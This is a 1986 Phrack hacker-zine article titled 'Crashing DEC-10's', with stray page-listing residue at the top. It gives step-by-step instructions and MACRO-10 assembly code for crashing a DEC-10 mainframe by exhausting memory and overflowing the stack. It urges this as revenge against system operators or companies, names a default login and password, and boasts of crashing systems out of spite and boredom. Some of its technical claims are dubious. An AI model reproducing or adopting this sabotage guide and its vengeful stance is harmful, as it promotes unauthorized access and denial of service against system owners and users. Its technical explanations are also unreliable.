117 lines
5.0 KiB
Plaintext
117 lines
5.0 KiB
Plaintext
==Phrack Inc.==
|
|
|
|
Volume One, Issue Four, Phile #6 of 11
|
|
|
|
Crashing DEC-10's
|
|
by The Mentor
|
|
3-13-86
|
|
|
|
|
|
|
|
Occasionally there will be a time when destruction is necessary.
|
|
Whether it is revenge against a tyrannical system operator or against
|
|
a particular company, sometimes it is desirable to strike at the heart of a
|
|
company...their computer.
|
|
What follows is a fairly detailed explanation of how to go about
|
|
crashing a DEC-10 computer running any operating system. The user will have
|
|
to be able to create and execute assembly level and high level language
|
|
files, as well as having a good working knowledge of programming.
|
|
The first step is to obtain an account. Whether this be a default
|
|
account like 5,30 (pw: GAMES) or an account that you hacked by some other
|
|
method, you have to be able to access the system. Superuser access is not
|
|
necessary, however, for this method to work.
|
|
At the heart of every mainframe computer is the central processing
|
|
unit. The CPU handles all instructions, fetching them from memory, decoding
|
|
them, and executing them. A DEC has what is called a DMA (Direct Memory
|
|
Access) Controller that functions as a small CPU handling all the input and
|
|
output from memory and peripherals, freeing the main CPU to execute instruc-
|
|
tions. We take advantage of this fact in crashing the system.
|
|
Theory: The CPU depends on the DMA Controller to handle all memory
|
|
access. If the DMA can be crashed, the CPU grinds to a halt and the sysop
|
|
has to run DSK:RAT to restore all the files on the system (a one hour process,
|
|
deadly at peak operating time.) We cause the DMA to crash by slowing it down
|
|
incredibly and overflowing the system stack.
|
|
Practice-
|
|
There exists an area known as 'Job Data Area' at octal 20 through 140
|
|
of the user's memory. This stores all relevant information about the current
|
|
task executing. The individual locations each have a 6-bit mnemonic starting
|
|
with .JB in each case. These must be introduced into a symbol table as ext-
|
|
ernal references.
|
|
The highest core address available to the user is stored at .JBREL
|
|
in the Job Data Area. If you try to access more core than you are allowed,
|
|
you will get an interrupt and it will crash. The first step is to disable
|
|
the interrupt. This is done by setting bit 22 in the AC to 1. This is done
|
|
with a mask as follows...
|
|
APRENB AC
|
|
MOVEI AC,20000 (octal)
|
|
The interrupt is now shut out. Next, you must start snatching up all
|
|
available system core. This cannot be done by directly meddling with .JBREL.
|
|
Instead, you must alter AC (accumulator) to contain the highest desired
|
|
address and then move it into .JBREL. This can be done with the following
|
|
subroutine.
|
|
CORE AC,
|
|
TOP: MOVE AC,.JBREL##
|
|
AOJA AC,.+1
|
|
CORE AC,
|
|
BRA TOP
|
|
At first, incrementing only by one looks like a slow way to grab core,
|
|
but since it is only allocated in chunks of either 1K or 2K words, you can
|
|
quickly suck up a lot of memory. (Following this file is a complete sample
|
|
program in MACRO-10 showing how to increase the core to a certain limit.)
|
|
Now that we have all the core we can get, the system is already more
|
|
than likely slowing down. This is good. Now we put in the fatal blow.
|
|
You should already have prepared a program that relies heavily on recursion.
|
|
The choice languages for this are either C or Pascal. Simply set up a simple
|
|
recursive program (Towers of Hanoi with 100 rings, for instance), and tell it
|
|
to execute.
|
|
What will begin to happen is that the DMA stack will start filling up,
|
|
slowing the system down even further. Eventually, after between 5 minutes and
|
|
15 minutes (longest it's ever taken me), you get the nice beep and...
|
|
;;OPSER- DEC SYSTEM-10 NOT RUNNING
|
|
I've only had to do this on three systems that the sysop really
|
|
pissed me off (not counting the system where I go to school, on which I do
|
|
it all the time when I'm bored...) It's kind of an extreme measure, but
|
|
it can be an effective one.
|
|
The following program is a sample for those not familiar with MACRO-10
|
|
assembly language.
|
|
32
|
|
|
|
START: TITLE SAMPLE
|
|
MOVE P,[IOWD 3,MEM]
|
|
MOVE [PUSHJ P,PDLOV]
|
|
MOVEM .JBAPR##
|
|
MOVEI AC,600000
|
|
APRENB AC,
|
|
SETZB CT
|
|
MOVEM AC
|
|
AOS
|
|
PUSHJ P,S1
|
|
JRST .-3
|
|
S1: IDIVI AC,10
|
|
HRLM N,(P)
|
|
JUMPE AC,.+3
|
|
PUSHJ P,S1
|
|
SKIPA
|
|
PUSHJ P,S2
|
|
HLRZ N,(P)
|
|
ADDI N,60
|
|
OUTCHR N
|
|
POPJ P,
|
|
S2: SOJG CT,.+4
|
|
OUTCHR [15]
|
|
OUTCHR [12]
|
|
MOVEI CT,10
|
|
MOVE T,P
|
|
OUTCHR [40]
|
|
AOBJN T,.-1
|
|
POPJ P,
|
|
PDLOV: PUSHJ P,LIMIT
|
|
SUB P,[1,,0]
|
|
JRSTF @.JBTPC##
|
|
LIMIT: CAIL 1000 ;CHANGE TO WHATEVER YOU WANT!
|
|
EXIT
|
|
POPJ P,
|
|
MEM: BLOCK 10
|
|
END START
|
|
|